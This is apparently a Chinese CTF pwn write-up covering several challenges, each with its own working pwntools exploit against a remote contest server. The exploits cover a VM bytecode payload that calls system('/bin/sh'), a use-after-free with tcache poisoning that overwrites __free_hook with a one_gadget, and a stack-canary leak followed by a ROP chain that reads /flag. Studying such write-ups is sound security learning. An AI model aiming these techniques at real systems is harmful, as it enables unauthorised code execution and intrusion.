# -*- coding: utf-8 -*-
# time: 2025-05-02 17:17:51
from pwn import *
import struct
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151', 20000)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
#gdb.attach(p,gdbscript)
gdbscript = '''
b *$rebase(0x14F3)\nb *$rebase(0x15ac)
'''
s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

'''
\x00: mov reg[op2],num ---> heap_ptr+pc
\x01: mov reg[op3],[mem]--->*reg[op2]
\x02: mov [mem]--->*reg[op3],reg[op2]
\x03: mov reg[op3],reg[op2]
\x04: push
\x05: pop
\x06: call--->op3(reg[0])函数调用
\x07: ret ---> pop ip
\x08: exit
\x09: nop
\x0a: add reg[op2],num
\x0b: sub reg[op2],num
op2均为src,op3均为dst
'''
# \x00
def load_num(reg, num):
return struct.pack("<bbQ", 0, reg, num)

# \x01
def load_indirect(src_reg, dst_reg):
return struct.pack("<bbb", 1, src_reg, dst_reg)

# \x02
def store_indirect(src_reg, dst_reg):
return struct.pack("<bbb", 2, src_reg, dst_reg)

# \x03
def mov_reg(src_reg, dst_reg):
return struct.pack("<bbb", 3, src_reg, dst_reg)

# \x04: push
def push(reg):
return struct.pack("<bB", 4, reg)

# \x05: pop
def pop(reg):
return struct.pack("<bB", 5, reg)

# \x06: call
def func_call(reg):
return struct.pack("<bB", 6, reg)

# \x08: exit
def exit_vm():
return struct.pack("b", 8)

# \x0a: add
def add_num(reg, num):
return struct.pack("<bbQ", 0xA, reg, num)#num要用做地址计算,用8字节类型

# \x0b: sub
def sub_num(reg, num):
return struct.pack("<bbQ", 0xB, reg, num)

#先获得data段0x4008的地址此处指向是base+0x4008,可以间接计算got
payload = load_indirect(-11, 1) + sub_num(1, 0x50) + load_indirect(1, 0) + sub_num(0, libc.sym["malloc"]) + mov_reg(0, 2)
payload += add_num(2, libc.sym["system"]) + add_num(0, next(libc.search("/bin/sh\x00"))) + func_call(2)
#payload += exit_vm()
#debug("b *$rebase(0x14F3)\nb *$rebase(0x15ac)")
sla("bytecode: ", payload)

itr()

迷途之子

迷宫问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import idc

def dump_maze():
start_addr = 0x4040 # 迷宫起始地址
size = 0x10000 # 256x256=65536字节

# 提取二进制数据
maze_data = idc.get_bytes(start_addr, size)

# 写入文件
with open("maze.bin", "wb") as f:
f.write(maze_data)

print(f"Maze dumped to maze.bin ({size} bytes)")

if __name__ == '__main__':
dump_maze()

可以得到二进制文件maze.bin,然后通过下面脚本可以获取maze.txt

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
with open("maze.bin", "rb") as f:
maze = f.read()

width = 256
height = 256

with open("maze.txt", "w") as out:
for y in range(height):
row = maze[y*width:(y+1)*width]
out.write(''.join(['1' if c != 0 else '0' for c in row]) + '\n')

BFS算法走到终点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from collections import deque
import os

def read_maze(filename):
"""从文件中读取迷宫数据"""
maze = []
try:
with open(filename, 'r') as f:
for line in f:
# 去除换行符和空格,只保留01字符
cleaned_line = line.strip().replace(' ', '')
# 跳过空行
if len(cleaned_line) > 0:
maze.append(cleaned_line)
return maze
except FileNotFoundError:
print(f"错误:文件'{filename}'未找到")
return None

def bfs_solve_maze(maze):
"""使用BFS算法解决迷宫问题"""
# 验证迷宫有效性
if not maze or len(maze) < 129 or len(maze[0]) < 129:
print("错误:迷宫尺寸不足或数据无效")
return None

rows = len(maze)
cols = len(maze[0])

# 定义起点(0,0)和终点(128,128)
start = (0, 0)
end = (128, 128)

# 检查起点和终点合法性
if (maze[start[1]][start[0]] != '0' or # 注意坐标是(x,y),maze[y][x]
maze[end[1]][end[0]] != '0'):
print("错误:起点或终点不可达")
return None

# BFS初始化
queue = deque()
queue.append( (start[0], start[1], "") ) # (x, y, path)
visited = set()
visited.add( (start[0], start[1]) )

# 移动方向定义(wasd对应标准方向键)
directions = [
('w', 0, -1), # 上
('s', 0, 1), # 下
('a', -1, 0), # 左
('d', 1, 0) # 右
]

# 执行BFS搜索
while queue:
x, y, path = queue.popleft()

# 到达终点
if x == end[0] and y == end[1]:
return path

# 遍历所有可能方向
for direction in directions:
move, dx, dy = direction
nx = x + dx
ny = y + dy

# 验证新位置有效性
if (0 <= nx < cols and
0 <= ny < rows and
maze[ny][nx] == '0' and
(nx, ny) not in visited):

visited.add( (nx, ny) )
queue.append( (nx, ny, path + move) )

# 无解情况
return None

if __name__ == "__main__":
# 读取迷宫文件
maze = read_maze('maze.txt')
if not maze:
exit(1)

# 解决迷宫问题
solution = bfs_solve_maze(maze)

if solution:
print("找到解决方案!操作序列:")
print(solution)
else:
print("无法到达终点")

find.py

从任意x,y走向任意a,b所需的步的记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
from collections import deque

def read_maze(filename):
with open(filename, 'r') as f:
maze = [line.strip() for line in f if len(line.strip()) == 256]
if len(maze) != 256:
raise ValueError("Invalid maze dimensions")
return maze

def find_path(maze, start, end):
directions = {
'w': (0, -1),
's': (0, 1),
'a': (-1, 0),
'd': (1, 0)
}

visited = [[False]*256 for _ in range(256)]
q = deque()
q.append((start[0], start[1], []))

while q:
x, y, path = q.popleft()

if (x, y) == end:
return path

for move, (dx, dy) in directions.items():
nx = x + dx
ny = y + dy
if 0 <= nx < 256 and 0 <= ny < 256:
if maze[ny][nx] == '0' and not visited[ny][nx]:
visited[ny][nx] = True
q.append((nx, ny, path + [move]))

return None

# 坐标转换(注意y坐标对应行号)
start_x = 0xd0
start_y = 0x92
end_x = 0xda #da
end_y = 0x92

try:
maze = read_maze("maze.txt")
path = find_path(maze, (start_x, start_y), (end_x, end_y))

if path:
print("Found path:", ''.join(path))
else:
print("No path found")

except Exception as e:
print(f"Error: {str(e)}")

思路:

静态分析

game()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
unsigned __int64 start_game()
{
char buf; // [rsp+Bh] [rbp-15h] BYREF
unsigned __int8 chunk0; // [rsp+Ch] [rbp-14h]
unsigned __int8 chunk0_1; // [rsp+Dh] [rbp-13h]
unsigned __int8 x; // [rsp+Eh] [rbp-12h]
unsigned __int8 y; // [rsp+Fh] [rbp-11h]
unsigned __int8 *chunk0_ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
chunk0_ptr = 0LL;
if ( users[0] )
{
chunk0_ptr = users[0]; // chunk0_ptr
chunk0 = *users[0]; // 0xd0
chunk0_1 = *(users[0] + 1); // 0x92
write(1, "Game started! (WASD to move, Q to quit)\n", 0x27uLL);
while ( 1 )
{
read(0, &buf, 1uLL);
x = chunk0;
y = chunk0_1;
switch ( buf )
{
case 'a':
if ( x )
--x;
goto LABEL_12;
case 'd':
if ( x != 0xFF )
++x;
goto LABEL_12;
case 'q':
return __readfsqword(0x28u) ^ v7;
case 's':
if ( y != 0xFF )
++y;
goto LABEL_12;
case 'w':
if ( y )
--y;
LABEL_12:
if ( !maze[256 * y + x] )
{
chunk0 = x;//在这里会向chunk0的fd最低一字节处写值
chunk0_1 = y;//在这里会向chunk0的fd最低二字节处写值
*chunk0_ptr = x;
chunk0_ptr[1] = chunk0_1;
if ( chunk0 == goal_x && chunk0_1 == goal_y )
gift();
}
break;
default:
continue;
}
}
}
return __readfsqword(0x28u) ^ v7;
}

del()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t del_user()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

write(1, "Index: ", 7uLL);
v1 = read_int();
if ( v1 >= 0xA )
return write(1, "Invalid index.\n", 0xFuLL);
if ( !used_flags[v1] )
return write(1, "User not exists.\n", 0x11uLL);
free(users[v1]); // uaf
used_flags[v1] = 0;
return write(1, "User deleted.\n", 0xEuLL);
}

这里虽然说置零了,但指令的不是free的那个指针,存在uaf

add()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ssize_t add_user()
{
int i; // [rsp+4h] [rbp-Ch]
_BYTE *user; // [rsp+8h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 9 )
return write(1, "User limit reached.\n", 0x14uLL);
if ( !used_flags[i] )
break;
}
user = malloc(0x20uLL);
if ( !user )
return write(1, "Allocation failed.\n", 0x12uLL);
*user = 0;
user[1] = 0;
write(1, "Enter name (up to 24 chars): ", 0x1CuLL);
read(0, user + 8, 0x18uLL);
users[i] = user;
used_flags[i] = 1;
return write(1, "User added.\n", 0xCuLL);
}

没有溢出,且只能向bk指针处写值

edit()

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t edit_user()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

write(1, "Index: ", 7uLL);
v1 = read_int();
if ( v1 >= 0xA )
return write(1, "Invalid index.\n", 0xFuLL);
write(1, "New name: ", 0xAuLL);
read(0, (users[v1] + 8), 0x18uLL);
return write(1, "Name updated.\n", 0xEuLL);
}

同样没有溢出,且只能向bk指针处写值

思路:

漏洞只有uaf,且没有溢出

我们要打就要考虑如何将free_hook等链入tcachebins中

思路:

  • 首先要通过游戏,拿到gift()中的read地址,计算出libc_base
  • 申请3个chunk,并将free掉,通过game()向chunk0的fd低字节处写值
  • 写值的地址哪里填上free_hook的地址,然后就好说了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python3
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'

p = remote('101.200.155.151', 22000)
#p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
#gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

menu = b">>"
move = b"sdddssssssddddsssdsssssdsdddddsdddsssssdddssdsssddddsddsdddsddsssdssddsssssdsdsssssssssssssdddssssdsssssssddssdsssddddsdsssssdsdddsssssdssdsdddddssdssssdssdsdssssdssdddddddddddssddssssdddsdddssdsssdsddsdddddsdsdddddsssddsdddsdsdddddddssddssddddsdddddddsddd"
def add(name):
sla(menu,b"1")
sla(b"Enter name (up to 24 chars):",name)

def delete(idx):
sla(menu,b'2')
sla(b"Index: ",str(idx))

def edit(idx,name):
sla(menu,b'3')
sla(b"Index: ",str(idx))
sla(b"New name: ",name)


def game(pay):
sla(menu,b'4')
sla(b"Game started! (WASD to move, Q to quit)",pay)


add(b'dada')#0
add(b'adad')#1
add(b'aaaa')#2
##1.通过游戏 get libc_base
game(move)
read = l64()
sl(b'q')
leak('read',read)
libc_base = read - 0x10e1e0
leak('libc_base',libc_base)
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
leak('free_hook',free_hook)
one = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + one[1]
system = libc_base + libc.sym['system']
leak('og',og)
##2. 填充tcache
delete(2)
delete(1)
delete(0)
pause()
##3.覆写chunk0的fd指针的低字节,概率1/16指向目标地址
mo = b"sssssssasssaasssddssdsssddssddddddwdddddddsdddwdwdddwddddwdddwwwwwwwwwwdwwawaaaaasaaaaaaawawaaaaawaw"
game(mo)
sl(b'q')
pause()
#tcache_poisoning
edit(1,b'aa'+p64(free_hook-0x10))

add(b'le0n')
add(b'le0n')
add(b'a'*8+p64(og))
delete(0)

itr()

book_manager

推测book的结构体如下:

1
2
3
4
5
6
7
8
9
struct book{
uint32_t idx;
char title[52];
uint64_t title_len;
char author[32];
uint64_t author_len;
char pulisher[40];
uint64_t publisher_len;
}

静态编译的程序,用sig恢复部分符号表,是一个菜单题通过数组模拟了malloc等

思路:

仔细观察可以发现,所有与book有关的操作都是通过栈来执行的,猜测栈溢出,通过程序中文件读的特点实现load(/flag)

  • 泄露canary,在search的2中有一个封装的read()的输入函数sub_40206A,在最后可以多覆盖一个字节加上\n,就可以通过printf()来泄露canary
  • 在5中发现了从bss段上copy数据到栈上
  • 填充一些垃圾数据,到canary出构造rop
  • 最终可以将flag读出来

image-20250510172410176

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-09 16:52:42
from pwn import *
import time
import struct
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151', 23000)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)


flag_addr = 0x4e9b2d
load = 0x40340C
pop_rdi_ret = 0x0000000000401a42
ret = 0x0000000000401a43

def add_book(title, author, publisher):
sla(b'>', b'1')
sa(b'Title', title)
sa(b'Author', author)
sa(b'Publisher', publisher)
log.debug(f"已添加书籍: {title[:10]}...")

sla(b'>', b'4')
sla(b'choose', b'2')
sla(b'name', b'a' * 0x28)
ru(b'a' * 0x28 + b'\n')
canary_data = p.recv(7)
canary = u64(canary_data.ljust(8, b'\x00')) << 8
leak('canary',canary)

#gdb.attach(p)

payload = p64(canary) + p64(0) + p64(ret) + p64(pop_rdi_ret) + p64(flag_addr) + p64(load)
for i in range(8):
add_book(b'a' * 50, b'a' * 30, b'a' * 40)
add_book(b'a' * 12, b'a' * 1, b'a' * 3)
add_book(payload, b'b' * 20 + b'\x00/flag\x00\x00\x00\x00', b'c' * 40)
sla(b'>', b'6')
sla(b'>', b'5')
print(p.recvline())
print(p.recvline())
print(p.recvline())
itr()

mini_pwn

以下是整理后的虚拟机指令集表格:


虚拟机指令集表格

指令名称 操作码 子操作码 目标寄存器 行为描述
mov reg,[mem] 0x01 0x00 A 从内存地址[SP]读取8字节到寄存器A,SP += 8
0x01 B 从内存地址[SP]读取8字节到寄存器B,SP += 8
0x02 C 从内存地址[SP]读取8字节到寄存器C,SP += 8
0x03 D 从内存地址[SP]读取8字节到寄存器D,SP += 8
0x04 E 从内存地址[SP]读取8字节到寄存器E,SP += 8
0x05 F 从内存地址[SP]读取8字节到寄存器F,SP += 8
0x06 SP 从内存地址[SP]读取8字节到SP寄存器,SP += 8
mov [mem], reg 0x02 0x00 A 将寄存器A的值写入内存地址[SP-8],SP -= 8
0x01 B 将寄存器B的值写入内存地址[SP-8],SP -= 8
0x02 C 将寄存器C的值写入内存地址[SP-8],SP -= 8
0x03 D 将寄存器D的值写入内存地址[SP-8],SP -= 8
0x04 E 将寄存器E的值写入内存地址[SP-8],SP -= 8
0x05 F 将寄存器F的值写入内存地址[SP-8],SP -= 8
0x06 SP 将SP寄存器的值写入内存地址[SP-8],SP -= 8
swapctx 0x03 保存当前寄存器状态到内存块,并恢复另一上下文(协程/异常处理)
restorectx 0x04 从内存中恢复之前保存的寄存器状态(与swapctx配对使用)
syscall 0x05 执行Linux syscall,参数通过寄存器传递(A=系统调用号,B/C/D=参数)
xor reg, reg 0x06 0x00 A 将寄存器A置零
0x01 B 将寄存器B置零
0x02 C 将寄存器C置零
0x03 D 将寄存器D置零
0x04 E 将寄存器E置零
0x05 F 将寄存器F置零
0x06 SP 将SP寄存器置零
add reg, 8 0x07 0x00 A 寄存器A的值增加8(A += 8
0x01 B 寄存器B的值增加8(B += 8
0x02 C 寄存器C的值增加8(C += 8
0x03 D 寄存器D的值增加8(D += 8
0x04 E 寄存器E的值增加8(E += 8
0x05 F 寄存器F的值增加8(F += 8
0x06 SP SP寄存器的值增加8(SP += 8
sub reg, 8 0x08 0x00 A 寄存器A的值减少8(A -= 8
0x01 B 寄存器B的值减少8(B -= 8
0x02 C 寄存器C的值减少8(C -= 8
0x03 D 寄存器D的值减少8(D -= 8
0x04 E 寄存器E的值减少8(E -= 8
0x05 F 寄存器F的值减少8(F -= 8
0x06 SP SP寄存器的值减少8(SP -= 8

关键寄存器说明

虚拟寄存器组

  • A: xmmword_4080
  • B: xmmword_4080的高8字节
  • C: xmmword_4090
  • D: xmmword_4090的高8字节
  • E: xmmword_40A0
  • F: xmmword_40B0的高8字节

栈指针

  • SP: xmmword_40B0,操作内存时自动增减。

状态标志

  • qword_40C0:用于控制上下文切换和系统调用的条件。